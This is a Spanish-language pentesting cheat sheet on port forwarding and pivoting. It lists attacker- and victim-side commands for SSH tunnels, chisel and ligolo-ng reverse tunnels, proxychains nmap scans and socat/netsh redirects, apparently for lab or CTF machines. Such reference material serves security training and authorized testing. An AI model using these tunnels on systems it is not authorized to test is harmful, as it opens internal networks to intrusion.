Port forwarding y pivoting

Si la máquina tiene un puerto que solo escucha en 127.0.0.1 o una segunda red, aquí tienes cómo traértelo a tu máquina.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

SSH

Con acceso SSH a la víctima

Traer un puerto interno (local) Atacante
ssh -L 8080:127.0.0.1:8080 [email protected]

Después abre http://127.0.0.1:8080 en tu navegador.

Proxy SOCKS para toda la red interna (dinámico) Atacante
ssh -D 1080 -N [email protected]
Sacar un puerto de la víctima hacia ti (remoto) Víctima
ssh -R 8080:127.0.0.1:8080 [email protected] -N
Añadir un túnel sin reconectar Teclas
~C
-L 3306:127.0.0.1:3306

Dentro de una sesión SSH abierta, pulsa Enter, luego ~C y escribe la opción.

chisel

Usa la misma versión de chisel en las dos máquinas. Funciona sobre HTTP, así que suele pasar los cortafuegos.

Un puerto concreto

Servidor en tu máquina Atacante
./chisel server --reverse -p 8000
Cliente en la víctima Víctima
./chisel client 10.10.14.5:8000 R:8080:127.0.0.1:8080

Proxy SOCKS a la red interna

Cliente en la víctima Víctima
./chisel client 10.10.14.5:8000 R:socks

Abre un SOCKS5 en el puerto 1080 de tu máquina.

Windows Víctima
.\chisel.exe client 10.10.14.5:8000 R:socks

ligolo-ng

Crea una interfaz de red en tu máquina, así que puedes usar nmap y cualquier herramienta sin proxychains. Las versiones recientes también pueden crear la interfaz desde su consola (escribe help).

Montar el túnel

Crear la interfaz en tu máquina Atacante
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
Proxy en tu máquina Atacante
./proxy -selfcert
Agente en la víctima Víctima
./agent -connect 10.10.14.5:11601 -ignore-cert
En la consola de ligolo (elige la sesión y arranca) Atacante
session
start
Ruta a la red interna Atacante
sudo ip route add 172.16.1.0/24 dev ligolo

Cambia 172.16.1.0/24 por la red interna; la calculadora de subredes te ayuda a sacarla.

Otros

proxychains

Configurar el proxy (al final de /etc/proxychains4.conf) Atacante
socks5 127.0.0.1 1080
Escanear a través del proxy Atacante
proxychains -q nmap -sT -Pn --top-ports 100 172.16.1.10

Con proxychains solo funciona TCP connect (-sT), sin ping (-Pn).

Redirecciones simples

socat (reenviar un puerto) Víctima
socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80
Windows (netsh, como administrador) Víctima
netsh interface portproxy add v4tov4 listenport=8888 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.1.10